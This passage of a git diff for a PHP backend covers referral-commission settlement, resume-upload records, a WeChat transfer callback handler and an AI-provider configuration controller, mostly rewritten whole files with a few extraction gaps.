->update(['updatedAt' => $now]); + + $commissionStatus = 'paid'; + } + + // 写佣金记录 + Db::name('commission_records')->insert([ + 'agentId' => $inviterId, + 'orderId' => $orderId, + 'scope' => $scope, + 'enterpriseId' => $enterpriseId, + 'inviterId' => $inviterId, + 'inviteeId' => $inviteeId, + 'bindingId' => (int) $binding['id'], + 'commissionRate'=> $rate, + 'orderAmount' => $orderAmount, + 'commissionFen' => $commissionFen, + 'commissionAmount' => number_format($commissionFen / 100, 2, '.', ''), + 'status' => $commissionStatus, + 'frozenAt' => $commissionStatus === 'frozen' ? $now : null, + 'paidAt' => $commissionStatus === 'paid' ? $now : null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + } + } + + // ───────────────────────────────────────────────────────────── + // 内部方法:企业充值后解冻冻结中的佣金 + // $enterpriseId: 企业ID + // ───────────────────────────────────────────────────────────── + public static function unfreezeCommissions(int $enterpriseId): void + { + $now = time(); + + // 找出该企业所有冻结中的佣金(按时间升序,先冻先解) + $frozenList = Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'frozen') + ->order('createdAt', 'asc') + ->select() + ->toArray(); + + if (empty($frozenList)) { + return; + } + + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, balance') + ->lock(true) + ->find(); + + if (!$enterprise) { + return; + } + + $balanceFen = (int) ($enterprise['balance'] ?? 0); + + Db::startTrans(); + try { + foreach ($frozenList as $record) { + $commissionFen = (int) $record['commissionFen']; + if ($balanceFen < $commissionFen) { + break; + } + + $balanceFen -= $commissionFen; + $inviterId = (int) $record['inviterId']; + + // 更新佣金记录状态 + Db::name('commission_records') + ->where('id', $record['id']) + ->update([ + 'status' => 'paid', + 'paidAt' => $now, + 'unfrozenAt' => $now, + 'updatedAt' => $now, + ]); + + $recordTestType = null; + if (($record['commissionSource'] ?? '') === 'test_completion') { + $recordTestType = Db::name('test_results') + ->where('id', (int) ($record['testResultId'] ?? 0)) + ->value('testType'); + } elseif (!empty($record['orderId'])) { + $recordTestType = self::getOrderTestType((int) $record['orderId']); + } + + Db::name('finance_records')->insert([ + 'enterpriseId' => $enterpriseId, + 'type' => 'consume', + 'amount' => $commissionFen, + 'balanceBefore' => $balanceFen + $commissionFen, + 'balanceAfter' => $balanceFen, + 'description' => self::buildCommissionFinanceDescription((int) ($record['inviteeId'] ?? 0), $recordTestType, 'unfrozen'), + 'orderId' => !empty($record['orderId']) ? (int) $record['orderId'] : null, + 'createdAt' => $now, + ]); + + // 推荐人钱包:pending 转 balance + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->dec('walletPending', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + } + + // 更新企业余额 + Db::name('enterprises') + ->where('id', $enterpriseId) + ->update([ + 'balance' => $balanceFen, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + } + } + + /** + * 读取提现上下限(分) + * @return array{int,int} [minFen, maxFen] maxFen=0 表示不限制 + */ + private static function getWithdrawLimits(string $scope, ?int $enterpriseId): array + { + $cfg = self::getDistributionConfig($scope, $enterpriseId); + $minFen = max(self::MIN_WITHDRAW_FEN, min(self::MAX_WITHDRAW_FEN, (int)($cfg['minWithdrawFen'] ?? self::MIN_WITHDRAW_FEN))); + $maxFen = (int)($cfg['maxWithdrawFen'] ?? 0); + if ($maxFen > 0) { + $maxFen = min(self::MAX_WITHDRAW_FEN, $maxFen); + } + return [$minFen, $maxFen]; + } + + /** + * 读取分销配置 + * 企业模式:enterprise_id={eid} 行,不存在则降级到 enterprise_id=0 全局行 + * 个人版:enterprise_id=0 行 + */ + private static function getDistributionConfig(string $scope, ?int $enterpriseId): array + { + if ($enterpriseId > 0) { + $config = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($config && $config['value']) { + $cfg = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + if (is_array($cfg)) return $cfg; + } + } + // 全局/个人版配置(enterprise_id=0) + $config = Db::name('system_config') + ->where('key', 'distribution') + ->where('enterprise_id', 0) + ->find(); + if ($config && $config['value']) { + $cfg = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; + if (is_array($cfg)) return $cfg; + } + return []; + } + + /** + * 读取佣金配置,返回 [rate, amountFen];比例模式 rate>0 amountFen=0,金额模式 amountFen>0 rate=0 + * @deprecated 用 getTestCommissionConfig 替代 + */ + private static function getCommissionConfig(string $scope, ?int $enterpriseId): array + { + $cfg = self::getDistributionConfig($scope, $enterpriseId); + $type = $cfg['commissionType'] ?? 'ratio'; + if ($type === 'amount') { + $amountFen = (int)($cfg['commissionAmountFen'] ?? 0); + return [0, $amountFen]; + } + $rate = (int)($cfg['commissionRate'] ?? 90); + return [$rate, 0]; + } + + /** + * 读取指定测试类型的佣金配置 [rate, amountFen] + * 优先使用 testSettings[testType],若无则回退全局 commissionRate/commissionAmountFen + */ + private static function getTestCommissionConfig(?string $testType, string $scope, ?int $enterpriseId): array + { + $ts = self::resolveTestSetting($testType, $enterpriseId); + if ($ts) { + $commType = $ts['commissionType'] ?? 'ratio'; + if ($commType === 'amount') { + return [0, (int)($ts['commissionAmountFen'] ?? 0)]; + } + return [(int)($ts['commissionRate'] ?? 90), 0]; + } + return self::getCommissionConfig($scope, $enterpriseId); + } + + /** + * 解析某测试类型的 testSettings 配置(企业优先,回退全局),返回 null 表示未启用 + */ + private static function resolveTestSetting(?string $testType, ?int $enterpriseId): ?array + { + if (!$testType) return null; + $tryEids = array_filter([$enterpriseId > 0 ? $enterpriseId : null, null], fn($v) => $v !== false); + foreach ($tryEids as $eid) { + $cfg = self::getDistributionConfig('personal', $eid); + $ts = $cfg['testSettings'][$testType] ?? null; + if ($ts && !empty($ts['enabled'])) { + return $ts; + } + } + return null; + } + + /** + * 查找 personal 维度有效绑定: + * 1. 优先 `enterpriseId = 当前企业` + * 2. 其次 `enterpriseId IS NULL` + */ + private static function findActivePersonalBinding(int $inviteeId, ?int $enterpriseId): ?array + { + if ($enterpriseId > 0) { + $binding = Db::name('distribution_bindings') + ->where('inviteeId', $inviteeId) + ->where('scope', 'personal') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'active') + ->where('expireAt', '>', time()) + ->find(); + if ($binding) { + return $binding; + } + } + + $binding = Db::name('distribution_bindings') + ->where('inviteeId', $inviteeId) + ->where('scope', 'personal') + ->whereNull('enterpriseId') + ->where('status', 'active') + ->where('expireAt', '>', time()) + ->find(); + + return $binding ?: null; + } + + /** + * 读取佣金比例配置(百分比整数,兼容旧逻辑) + */ + private static function getCommissionRate(string $scope, ?int $enterpriseId): int + { + list($rate, $amountFen) = self::getCommissionConfig($scope, $enterpriseId); + return $rate; + } + + /** + * 根据订单读取测试类型 + */ + private static function getOrderTestType(int $orderId): ?string + { + if ($orderId <= 0) { + return null; + } + + $testType = Db::name('test_results') + ->where('orderId', $orderId) + ->value('testType'); + + if (!$testType) { + return null; + } + + return $testType === 'ai' ? 'face' : $testType; + } + + /** + * 获取用户展示名称 + */ + private static function getUserDisplayName(int $userId): string + { + if ($userId <= 0) { + return '未知用户'; + } + + $nickname = Db::name('wechat_users') + ->where('id', $userId) + ->value('nickname'); + + return $nickname ? (string) $nickname : ('用户' . $userId); + } + + /** + * 测试类型文案 + */ + private static function getTestTypeLabel(?string $testType): string + { + $normalized = $testType === 'ai' ? 'face' : (string) $testType; + $map = [ + 'face' => '人脸', + 'mbti' => 'MBTI', + 'disc' => 'DISC', + 'pdp' => 'PDP', + ]; + + return $map[$normalized] ?? strtoupper($normalized ?: '未知测试'); + } + + /** + * 企业财务流水中的佣金支出说明 + */ + private static function buildCommissionFinanceDescription(int $inviteeId, ?string $testType, string $scene): string + { + $userName = self::getUserDisplayName($inviteeId); + $testLabel = self::getTestTypeLabel($testType); + + if ($scene === 'unfrozen') { + return '佣金支出:用户' . $userName . '测试' . $testLabel . '完成分销(冻结后解冻)'; + } + + return '佣金支出:用户' . $userName . '测试' . $testLabel . '完成分销'; + } + + // ───────────────────────────────────────────────────────────── + // 内部方法:测试完成后结算「测试完成佣金」(由 Test/submit 调用) + // 仅适用于 personal scope;只要有有效绑定即可,无需付款。 + // 防重:同一 testResultId 只结算一次。 + // ───────────────────────────────────────────────────────────── + public static function settleTestCommission(int $testResultId, int $inviteeId, string $testType): void + { + // 仅支持指定测试类型 + $allowedTypes = ['face', 'mbti', 'disc', 'pdp']; + // face/ai 统一归类为 face + $normalizedType = ($testType === 'ai') ? 'face' : $testType; + if (!in_array($normalizedType, $allowedTypes, true)) { + return; + } + + // 读取 testSettings 配置:优先读用户所属企业配置,未配置则回退全局 + $userEid = (int)(Db::name('wechat_users')->where('id', $inviteeId)->value('enterpriseId') ?? 0); + $tsConfig = self::resolveTestSetting($normalizedType, $userEid); + if (!$tsConfig || empty($tsConfig['enabled']) || empty($tsConfig['noPayment'])) { + return; + } + list($rate, $amountFen) = self::getTestCommissionConfig($normalizedType, 'personal', $userEid > 0 ? $userEid : null); + $commissionFen = 0; + if ($amountFen > 0) { + $commissionFen = $amountFen; + } elseif ($rate > 0) { + // noPayment 场景无订单金额,若为比例则跳过(无金额可算) + return; + } + if ($commissionFen <= 0) { + return; + } + + // 查找该用户 personal scope 的有效绑定:优先企业 personal 绑定,再回退全局 personal 绑定 + $binding = self::findActivePersonalBinding($inviteeId, $userEid > 0 ? $userEid : null); + if (!$binding) { + return; + } + + $inviterId = (int) $binding['inviterId']; + $recordEnterpriseId = $userEid > 0 + ? $userEid + : (((int)($binding['enterpriseId'] ?? 0)) > 0 ? (int)$binding['enterpriseId'] : null); + + // 防重:同一 testResultId 只允许一条 test_completion 佣金 + $exists = Db::name('commission_records') + ->where('testResultId', $testResultId) + ->where('commissionSource', 'test_completion') + ->find(); + if ($exists) { + return; + } + + $now = time(); + Db::startTrans(); + try { + $commissionStatus = 'paid'; + + if ($recordEnterpriseId) { + // 企业上下文:先扣企业余额;不足则冻结到后续补余额再解冻 + $enterprise = Db::name('enterprises') + ->where('id', $recordEnterpriseId) + ->field('id, balance') + ->lock(true) + ->find(); + + $balanceFen = (int) ($enterprise['balance'] ?? 0); + if ($enterprise && $balanceFen >= $commissionFen) { + $newBalanceFen = $balanceFen - $commissionFen; + Db::name('enterprises') + ->where('id', $recordEnterpriseId) + ->update([ + 'balance' => $newBalanceFen, + 'updatedAt' => $now, + ]); + + Db::name('finance_records')->insert([ + 'enterpriseId' => $recordEnterpriseId, + 'type' => 'consume', + 'amount' => $commissionFen, + 'balanceBefore' => $balanceFen, + 'balanceAfter' => $newBalanceFen, + 'description' => self::buildCommissionFinanceDescription($inviteeId, $normalizedType, 'test_completion'), + 'orderId' => null, + 'createdAt' => $now, + ]); + + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + } else { + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletPending', $commissionFen) + ->update(['updatedAt' => $now]); + + $commissionStatus = 'frozen'; + } + } else { + // 无企业上下文时仍由平台直接发放 + Db::name('wechat_users') + ->where('id', $inviterId) + ->inc('walletBalance', $commissionFen) + ->inc('walletTotalEarned', $commissionFen) + ->update(['updatedAt' => $now]); + } + + // 写佣金记录 + Db::name('commission_records')->insert([ + 'agentId' => $inviterId, + 'orderId' => null, + 'testResultId' => $testResultId, + 'commissionSource' => 'test_completion', + 'scope' => 'personal', + 'enterpriseId' => $recordEnterpriseId, + 'inviterId' => $inviterId, + 'inviteeId' => $inviteeId, + 'bindingId' => (int) $binding['id'], + 'commissionRate' => $rate, + 'orderAmount' => 0, + 'commissionFen' => $commissionFen, + 'commissionAmount' => number_format($commissionFen / 100, 2, '.', ''), + 'status' => $commissionStatus, + 'frozenAt' => $commissionStatus === 'frozen' ? $now : null, + 'paidAt' => $commissionStatus === 'paid' ? $now : null, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Throwable $e) { + Db::rollback(); + Log::error('settleTestCommission failed', [ + 'testResultId' => $testResultId, + 'inviteeId' => $inviteeId, + 'testType' => $testType, + 'normalizedType' => $normalizedType, + 'userEnterpriseId' => $userEid, + 'bindingId' => (int)($binding['id'] ?? 0), + 'inviterId' => $inviterId, + 'commissionFen' => $commissionFen, + 'message' => $e->getMessage(), + ]); + } + } +} diff --git a/api/app/controller/api/EnterpriseResume.php b/api/app/controller/api/EnterpriseResume.php index 0e87a84..def8ab1 100644 --- a/api/app/controller/api/EnterpriseResume.php +++ b/api/app/controller/api/EnterpriseResume.php @@ -1,250 +1,250 @@ -request->user ?? null; - if (!$user || ($user['source'] ?? '') !== 'wechat') { - return error('未登录', 401); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - if ($userId <= 0) { - return error('未登录', 401); - } - - $enterpriseId = Request::param('enterpriseId'); - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(100, max(1, (int) Request::param('pageSize', 50))); - - $query = EnterpriseResumeUpload::where('userId', $userId) - ->field('id, userId, enterpriseId, fileUrl, fileName, is_default, createdAt as created_at_ts') - ->order('createdAt', 'desc'); - - if ($enterpriseId !== null && $enterpriseId !== '') { - $eid = (int) $enterpriseId; - if ($eid > 0) { - $query->where('enterpriseId', $eid); - } else { - $query->whereNull('enterpriseId'); - } - } - - $total = $query->count(); - $rows = $query->page($page, $pageSize)->select()->toArray(); - - $list = []; - foreach ($rows as $row) { - $ts = $this->pickCreatedAt($row); - $list[] = [ - 'id' => (int) ($row['id'] ?? 0), - 'url' => (string) ($row['fileUrl'] ?? ''), - 'fileName' => (string) ($row['fileName'] ?? ''), - 'uploadedAt' => $ts, - 'uploadedAtStr' => $this->formatTime($ts), - 'isDefault' => (int) ($row['is_default'] ?? 0) === 1, - ]; - } - - return success([ - 'list' => $list, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize, - ]); - } - - /** - * 新增一条简历上传记录(上传文件后由前端调用) - * POST /api/enterprise/resume-uploads - * body: { "url": "文件URL", "fileName": "原始文件名", "enterpriseId": 可选 } - */ - public function add() - { - $user = $this->request->user ?? null; - if (!$user || ($user['source'] ?? '') !== 'wechat') { - return error('未登录', 401); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - if ($userId <= 0) { - return error('未登录', 401); - } - - $url = Request::param('url'); - $fileName = Request::param('fileName', ''); - $enterpriseId = Request::param('enterpriseId'); - - if (empty($url) || !is_string($url)) { - return error('缺少文件地址 url', 400); - } - - $url = trim($url); - if ($url === '') { - return error('url 不能为空', 400); - } - - $fileName = is_string($fileName) ? trim($fileName) : ''; - if ($fileName === '') { - $fileName = '简历文件'; - } - - $eid = null; - if ($enterpriseId !== null && $enterpriseId !== '') { - $eid = (int) $enterpriseId; - if ($eid <= 0) { - $eid = null; - } - } - // 前端未传或为 0 时:用当前用户绑定企业(wechat_users.enterpriseId)补全 - if ($eid === null) { - $wu = Db::name('wechat_users')->where('id', $userId)->field('enterpriseId')->find(); - if (!empty($wu['enterpriseId']) && (int) $wu['enterpriseId'] > 0) { - $eid = (int) $wu['enterpriseId']; - } - } - - $record = new EnterpriseResumeUpload(); - $record->userId = $userId; - $record->enterpriseId = $eid; - $record->fileUrl = $url; - $record->fileName = $fileName; - $record->createdAt = time(); - $record->save(); - - return success([ - 'id' => (int) $record->id, - 'url' => $record->fileUrl, - 'fileName' => $record->fileName, - 'uploadedAt' => (int) $record->createdAt, - 'uploadedAtStr' => $this->formatTime($record->createdAt), - ]); - } - - /** - * 设为默认简历(同用户同企业仅一条为默认) - * POST /api/enterprise/resume-uploads/set-default body: { "id": 记录ID } - */ - public function setDefault() - { - $user = $this->request->user ?? null; - if (!$user || ($user['source'] ?? '') !== 'wechat') { - return error('未登录', 401); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - if ($userId <= 0) { - return error('未登录', 401); - } - - $id = (int) Request::param('id', 0); - if ($id <= 0) { - return error('缺少或无效的记录 id', 400); - } - - $record = EnterpriseResumeUpload::where('id', $id)->where('userId', $userId)->find(); - if (!$record) { - return error('记录不存在或无权操作', 404); - } - - $eid = isset($record->enterpriseId) && (int) $record->enterpriseId > 0 ? (int) $record->enterpriseId : null; - - Db::name('enterprise_resume_uploads') - ->where('userId', $userId) - ->where(function ($q) use ($eid) { - if ($eid !== null) { - $q->where('enterpriseId', $eid); - } else { - $q->whereNull('enterpriseId'); - } - }) - ->update(['is_default' => 0]); - - $record->is_default = 1; - $record->save(); - - return success(['id' => (int) $record->id, 'isDefault' => true]); - } - - /** - * 删除一条简历上传记录(仅本人可删) - * POST /api/enterprise/resume-uploads/delete body: { "id": 记录ID } - */ - public function delete() - { - $user = $this->request->user ?? null; - if (!$user || ($user['source'] ?? '') !== 'wechat') { - return error('未登录', 401); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - if ($userId <= 0) { - return error('未登录', 401); - } - - $id = (int) Request::param('id', 0); - if ($id <= 0) { - return error('缺少或无效的记录 id', 400); - } - - $record = EnterpriseResumeUpload::where('id', $id)->where('userId', $userId)->find(); - if (!$record) { - return error('记录不存在或无权操作', 404); - } - - $record->delete(); - return success(['id' => $id]); - } - - /** - * 从查询行中取出时间戳(优先用 SQL 别名 created_at_ts,再兼容 createdAt/created_at); - * 若值为 4 位数(如年份 2026)则视为无效,返回 0。 - */ - private function pickCreatedAt(array $row): int - { - $v = $row['created_at_ts'] ?? $row['createdAt'] ?? $row['created_at'] ?? $row['createdat'] ?? null; - if ($v === null) { - return 0; - } - $ts = (int) $v; - if ($ts <= 0) { - return 0; - } - // 小于约 1971 年的秒数视为无效(避免误存为年份 2026 等) - if ($ts < 86400 * 365) { - return 0; - } - return $ts; - } - - private function formatTime($ts) - { - $ts = (int) $ts; - if ($ts <= 0 || $ts < 86400 * 365) { - return ''; - } - $d = getdate($ts); - return sprintf( - '%04d-%02d-%02d %02d:%02d', - $d['year'], - $d['mon'], - $d['mday'], - $d['hours'], - $d['minutes'] - ); - } -} +request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $enterpriseId = Request::param('enterpriseId'); + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 50))); + + $query = EnterpriseResumeUpload::where('userId', $userId) + ->field('id, userId, enterpriseId, fileUrl, fileName, is_default, createdAt as created_at_ts') + ->order('createdAt', 'desc'); + + if ($enterpriseId !== null && $enterpriseId !== '') { + $eid = (int) $enterpriseId; + if ($eid > 0) { + $query->where('enterpriseId', $eid); + } else { + $query->whereNull('enterpriseId'); + } + } + + $total = $query->count(); + $rows = $query->page($page, $pageSize)->select()->toArray(); + + $list = []; + foreach ($rows as $row) { + $ts = $this->pickCreatedAt($row); + $list[] = [ + 'id' => (int) ($row['id'] ?? 0), + 'url' => (string) ($row['fileUrl'] ?? ''), + 'fileName' => (string) ($row['fileName'] ?? ''), + 'uploadedAt' => $ts, + 'uploadedAtStr' => $this->formatTime($ts), + 'isDefault' => (int) ($row['is_default'] ?? 0) === 1, + ]; + } + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } + + /** + * 新增一条简历上传记录(上传文件后由前端调用) + * POST /api/enterprise/resume-uploads + * body: { "url": "文件URL", "fileName": "原始文件名", "enterpriseId": 可选 } + */ + public function add() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $url = Request::param('url'); + $fileName = Request::param('fileName', ''); + $enterpriseId = Request::param('enterpriseId'); + + if (empty($url) || !is_string($url)) { + return error('缺少文件地址 url', 400); + } + + $url = trim($url); + if ($url === '') { + return error('url 不能为空', 400); + } + + $fileName = is_string($fileName) ? trim($fileName) : ''; + if ($fileName === '') { + $fileName = '简历文件'; + } + + $eid = null; + if ($enterpriseId !== null && $enterpriseId !== '') { + $eid = (int) $enterpriseId; + if ($eid <= 0) { + $eid = null; + } + } + // 前端未传或为 0 时:用当前用户绑定企业(wechat_users.enterpriseId)补全 + if ($eid === null) { + $wu = Db::name('wechat_users')->where('id', $userId)->field('enterpriseId')->find(); + if (!empty($wu['enterpriseId']) && (int) $wu['enterpriseId'] > 0) { + $eid = (int) $wu['enterpriseId']; + } + } + + $record = new EnterpriseResumeUpload(); + $record->userId = $userId; + $record->enterpriseId = $eid; + $record->fileUrl = $url; + $record->fileName = $fileName; + $record->createdAt = time(); + $record->save(); + + return success([ + 'id' => (int) $record->id, + 'url' => $record->fileUrl, + 'fileName' => $record->fileName, + 'uploadedAt' => (int) $record->createdAt, + 'uploadedAtStr' => $this->formatTime($record->createdAt), + ]); + } + + /** + * 设为默认简历(同用户同企业仅一条为默认) + * POST /api/enterprise/resume-uploads/set-default body: { "id": 记录ID } + */ + public function setDefault() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $id = (int) Request::param('id', 0); + if ($id <= 0) { + return error('缺少或无效的记录 id', 400); + } + + $record = EnterpriseResumeUpload::where('id', $id)->where('userId', $userId)->find(); + if (!$record) { + return error('记录不存在或无权操作', 404); + } + + $eid = isset($record->enterpriseId) && (int) $record->enterpriseId > 0 ? (int) $record->enterpriseId : null; + + Db::name('enterprise_resume_uploads') + ->where('userId', $userId) + ->where(function ($q) use ($eid) { + if ($eid !== null) { + $q->where('enterpriseId', $eid); + } else { + $q->whereNull('enterpriseId'); + } + }) + ->update(['is_default' => 0]); + + $record->is_default = 1; + $record->save(); + + return success(['id' => (int) $record->id, 'isDefault' => true]); + } + + /** + * 删除一条简历上传记录(仅本人可删) + * POST /api/enterprise/resume-uploads/delete body: { "id": 记录ID } + */ + public function delete() + { + $user = $this->request->user ?? null; + if (!$user || ($user['source'] ?? '') !== 'wechat') { + return error('未登录', 401); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('未登录', 401); + } + + $id = (int) Request::param('id', 0); + if ($id <= 0) { + return error('缺少或无效的记录 id', 400); + } + + $record = EnterpriseResumeUpload::where('id', $id)->where('userId', $userId)->find(); + if (!$record) { + return error('记录不存在或无权操作', 404); + } + + $record->delete(); + return success(['id' => $id]); + } + + /** + * 从查询行中取出时间戳(优先用 SQL 别名 created_at_ts,再兼容 createdAt/created_at); + * 若值为 4 位数(如年份 2026)则视为无效,返回 0。 + */ + private function pickCreatedAt(array $row): int + { + $v = $row['created_at_ts'] ?? $row['createdAt'] ?? $row['created_at'] ?? $row['createdat'] ?? null; + if ($v === null) { + return 0; + } + $ts = (int) $v; + if ($ts <= 0) { + return 0; + } + // 小于约 1971 年的秒数视为无效(避免误存为年份 2026 等) + if ($ts < 86400 * 365) { + return 0; + } + return $ts; + } + + private function formatTime($ts) + { + $ts = (int) $ts; + if ($ts <= 0 || $ts < 86400 * 365) { + return ''; + } + $d = getdate($ts); + return sprintf( + '%04d-%02d-%02d %02d:%02d', + $d['year'], + $d['mon'], + $d['mday'], + $d['hours'], + $d['minutes'] + ); + } +} diff --git a/api/app/controller/api/Upload.php b/api/app/controller/api/Upload.php index 94b2d69..4c5736a 100644 --- a/api/app/controller/api/Upload.php +++ b/api/app/controller/api/Upload.php @@ -1,11 +1,11 @@ - Request::header('wechatpay-signature'), - 'wechatpay-timestamp' => Request::header('wechatpay-timestamp'), - 'wechatpay-nonce' => Request::header('wechatpay-nonce'), - 'wechatpay-serial' => Request::header('wechatpay-serial'), - ]; - - Log::info('[WechatTransferNotify] raw body: ' . $body); - - // 这里只做最小实现:直接解密 resource,按 out_bill_no 匹配提现记录 - try { - $data = json_decode($body, true) ?: []; - if (empty($data['resource'])) { - throw new \Exception('missing resource'); - } - - $service = new WechatTransferService(); - $resource = $data['resource']; - - // 复用文档中的解密逻辑 - $decrypted = $service->decryptCallbackResource($resource); - - $outBillNo = $decrypted['out_bill_no'] ?? ''; - $state = $decrypted['state'] ?? ''; - $transferBillNo = $decrypted['transfer_bill_no'] ?? null; - - if (!preg_match('/^TX(\d+)$/', (string) $outBillNo, $m)) { - throw new \Exception('invalid out_bill_no: ' . $outBillNo); - } - $withdrawId = (int) $m[1]; - - $now = time(); - if ($state === 'SUCCESS') { - // 微信转账成功:仅允许从「待收款 status=2」更新为「已收款 status=3」 - Db::name('distribution_withdrawals') - ->where('id', $withdrawId) - ->where('status', 2) - ->update([ - 'status' => 3, - 'wechat_pay_state' => $state, - 'transfer_bill_no' => $transferBillNo, - 'transferAt' => $now, - 'updatedAt' => $now, - ]); - } elseif ($state === 'FAIL') { - // 转账失败:退回余额 - $record = Db::name('distribution_withdrawals')->where('id', $withdrawId)->find(); - if ($record && (int)$record['status'] !== 3) { - Db::startTrans(); - try { - Db::name('wechat_users') - ->where('id', $record['userId']) - ->inc('walletBalance', (int) $record['amountFen']) - ->update(['updatedAt' => $now]); - - Db::name('distribution_withdrawals') - ->where('id', $withdrawId) - ->update([ - // 1=已驳回 - 'status' => 1, - 'auditNote' => '微信转账失败自动退回', - 'wechat_pay_state' => $state, - 'transfer_bill_no' => $transferBillNo, - 'updatedAt' => $now, - ]); - - Db::commit(); - } catch (\Throwable $e) { - Db::rollback(); - Log::error('[WechatTransferNotify] fail rollback error: ' . $e->getMessage()); - } - } - } - - return json(['code' => 'SUCCESS']); - } catch (\Throwable $e) { - Log::error('[WechatTransferNotify] error: ' . $e->getMessage()); - return json(['code' => 'FAIL', 'message' => '处理失败'])->code(500); - } - } -} - + Request::header('wechatpay-signature'), + 'wechatpay-timestamp' => Request::header('wechatpay-timestamp'), + 'wechatpay-nonce' => Request::header('wechatpay-nonce'), + 'wechatpay-serial' => Request::header('wechatpay-serial'), + ]; + + Log::info('[WechatTransferNotify] raw body: ' . $body); + + // 这里只做最小实现:直接解密 resource,按 out_bill_no 匹配提现记录 + try { + $data = json_decode($body, true) ?: []; + if (empty($data['resource'])) { + throw new \Exception('missing resource'); + } + + $service = new WechatTransferService(); + $resource = $data['resource']; + + // 复用文档中的解密逻辑 + $decrypted = $service->decryptCallbackResource($resource); + + $outBillNo = $decrypted['out_bill_no'] ?? ''; + $state = $decrypted['state'] ?? ''; + $transferBillNo = $decrypted['transfer_bill_no'] ?? null; + + if (!preg_match('/^TX(\d+)$/', (string) $outBillNo, $m)) { + throw new \Exception('invalid out_bill_no: ' . $outBillNo); + } + $withdrawId = (int) $m[1]; + + $now = time(); + if ($state === 'SUCCESS') { + // 微信转账成功:仅允许从「待收款 status=2」更新为「已收款 status=3」 + Db::name('distribution_withdrawals') + ->where('id', $withdrawId) + ->where('status', 2) + ->update([ + 'status' => 3, + 'wechat_pay_state' => $state, + 'transfer_bill_no' => $transferBillNo, + 'transferAt' => $now, + 'updatedAt' => $now, + ]); + } elseif ($state === 'FAIL') { + // 转账失败:退回余额 + $record = Db::name('distribution_withdrawals')->where('id', $withdrawId)->find(); + if ($record && (int)$record['status'] !== 3) { + Db::startTrans(); + try { + Db::name('wechat_users') + ->where('id', $record['userId']) + ->inc('walletBalance', (int) $record['amountFen']) + ->update(['updatedAt' => $now]); + + Db::name('distribution_withdrawals') + ->where('id', $withdrawId) + ->update([ + // 1=已驳回 + 'status' => 1, + 'auditNote' => '微信转账失败自动退回', + 'wechat_pay_state' => $state, + 'transfer_bill_no' => $transferBillNo, + 'updatedAt' => $now, + ]); + + Db::commit(); + } catch (\Throwable $e) { + Db::rollback(); + Log::error('[WechatTransferNotify] fail rollback error: ' . $e->getMessage()); + } + } + } + + return json(['code' => 'SUCCESS']); + } catch (\Throwable $e) { + Log::error('[WechatTransferNotify] error: ' . $e->getMessage()); + return json(['code' => 'FAIL', 'message' => '处理失败'])->code(500); + } + } +} + diff --git a/api/app/controller/superadmin/AiConfig.php b/api/app/controller/superadmin/AiConfig.php index 9eb0f09..8ee7428 100644 --- a/api/app/controller/superadmin/AiConfig.php +++ b/api/app/controller/superadmin/AiConfig.php @@ -1,482 +1,482 @@ -request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - // 列表只返回“显示”的配置(visible=1 或未设);隐藏的由数据库 visible=0 控制,不在此列表展示 - $providers = AiProviderModel::order('id', 'asc') - ->whereRaw('(visible IS NULL OR visible = 1)') - ->select() - ->toArray(); - - // 处理返回数据 - $result = []; - foreach ($providers as $provider) { - $result[] = [ - 'id' => $provider['providerId'], - 'name' => $provider['name'], - 'enabled' => $provider['enabled'] == 1, - 'visible' => isset($provider['visible']) ? ($provider['visible'] == 1) : true, - 'apiKey' => $provider['apiKey'] ?? '', // 脱敏后的密钥 - 'apiEndpoint' => $provider['apiEndpoint'] ?? '', - 'model' => $provider['model'] ?? '', - 'organizationId' => $provider['organizationId'] ?? '', - 'maxTokens' => $provider['maxTokens'] ?? 4096, - 'balanceAlertEnabled' => $provider['balanceAlertEnabled'] == 1, - 'balanceAlertThreshold' => floatval($provider['balanceAlertThreshold'] ?? 10), - 'notes' => $provider['notes'] ?? '', - 'docUrl' => $provider['docUrl'] ?? '', - 'isFree' => $provider['isFree'] == 1, - 'supportsBalance' => $provider['supportsBalance'] == 1, - '_hasKey' => !empty($provider['apiKey']), - 'lastBalance' => $provider['lastBalance'] ? 